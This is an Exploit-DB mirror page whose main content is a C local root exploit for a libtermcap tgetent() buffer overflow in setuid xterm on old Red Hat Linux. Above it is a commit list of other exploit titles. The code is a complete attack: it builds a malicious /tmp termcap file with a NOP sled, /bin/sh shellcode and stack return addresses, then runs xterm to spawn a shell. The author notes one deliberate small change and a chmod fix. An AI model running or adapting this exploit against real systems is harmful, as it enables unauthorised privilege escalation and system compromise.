exploit-db-mirror/exploits/linux/local/19465.c
Offensive Security 880bbe402e DB: 2019-03-08
14991 changes to exploits/shellcodes

HTC Touch - vCard over IP Denial of Service

TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities

PeerBlock 1.1 - Blue Screen of Death

WS10 Data Server - SCADA Overflow (PoC)

Symantec Endpoint Protection 12.1.4013 - Service Disabling
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow

man-db 2.4.1 - 'open_cat_stream()' Local uid=man

CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation

CDRecord's ReadCD - Local Privilege Escalation
Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH)
FreeBSD - Intel SYSRET Privilege Escalation (Metasploit)

CCProxy 6.2 - 'ping' Remote Buffer Overflow

Savant Web Server 3.1 - Remote Buffer Overflow (2)

Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow
QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit)
Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit)
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)
Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass)
TeamCity < 9.0.2 - Disabled Registration Bypass
OpenSSH SCP Client - Write Arbitrary Files
Kados R10 GreenBee - Multiple SQL Injection
WordPress Core 5.0 - Remote Code Execution
phpBB 3.2.3  - Remote Code Execution

Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
2019-03-08 05:01:50 +00:00

112 lines
No EOL
3.2 KiB
C

// source: https://www.securityfocus.com/bid/588/info
A buffer overflow existed in libtermcap's tgetent() function, which could cause the user to execute arbitrary code if they were able to supply their own termcap file. Versions of libtermcap 2.0.8 and earliear are vulnerable.
Under Red Hat Linux 5.2 and 4.2, this could lead to local users gaining root privileges, as xterm (as well as other possibly setuid programs) are linked against libtermcap. Under Red Hat Linux 6.0, xterm is not setuid root.
Debian and Caldera OpenLinux use the ncurses library instead of termcap and thus are not vulnerable.
/* Local exploit for suid root programs linked to libtermcap < 2.0.8-15
*
* tested with xterm and nxterm on RedHat 5.2 and 4.2
*
* sk8@lucid-solutions.com
* http://www.lucid-solutions.com
*
* Usage:
* ./smashcap -default is buffer size of 4210 and offset of 300
* and seems to work on RH 5.2
*
* Adjust offsets (somewhere between 230 - 1140) if necessary
*
* ./smashcap <offset> -buffer size defaults to 4210
* ./smashcap <offset> <buffersize>
*
*
* In order to stop script kids/opportunists, one MINOR change must be
* made in order for this to work.
*
* Use only to test your machines to show you that you must patch libtermcap.
* Quick fix, chmod u-s ALL suid root programs linked with libtermcap.
*
* - sk8 of LS
*
*/
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#define filename "/tmp/lstermcap"
#define entry1 "xterm|"
#define DEFAULT_BUFSIZE 4210
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"; /* Linux shellcode */
long get_sp(void)
{
__asm__("movl %esp, %eax\n");
}
int main(int argc, char *argv[]) {
int bufsize, offset, i, fd;
long *bufptr;
char *ptr, *buffer, *tempbuf;
setenv("TERMCAP", "/tmp/lstermcap", 1);
bufsize=DEFAULT_BUFSIZE;
if (argc > 2) bufsize=atoi(argv[2]);
if (argc > 1) offset=atoi(argv[1]);
else offset=300;
printf("bufsize: %i\noffset: %i\n", bufsize,offset);
if(!(buffer = malloc(bufsize))) {
printf("can't allocate enough memory\n");
exit(0);
}
if(!(tempbuf = malloc(bufsize+strlen(entry1) ))) {
printf("can't allocate enough memory\n");
exit(0);
}
printf("get_sp(): 0x%x\n", get_sp());
printf("get_sp()-offs: 0x%x\n", (get_sp()-offset) );
ptr=buffer;
bufptr = (long *)(buffer+2); /* align */
for (i = 0; i < bufsize; i += 4)
*(bufptr++) = (get_sp()-offset);
for (i = 0; i < (bufsize/2); i++)
buffer[i] = 0x90;
ptr=buffer + ((bufsize/2) - strlen(shellcode)/2);
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i]; //shellcode
ptr=ptr+24;
/* now insert the characters : and \ into the termcap - these are vital */
*(ptr++)=0x3a;
*(ptr++)=0x5c;
snprintf(tempbuf, (bufsize+strlen(entry1)), "%s%s%s", entry1, buffer);
fd = open(filename, O_WRONLY|O_CREAT|O_TRUNC, 0666);
write (fd, tempbuf, strlen(tempbuf));
close(fd);
printf("made termcap\n");
execl("/usr/X11R6/bin/xterm","xterm", 0);
}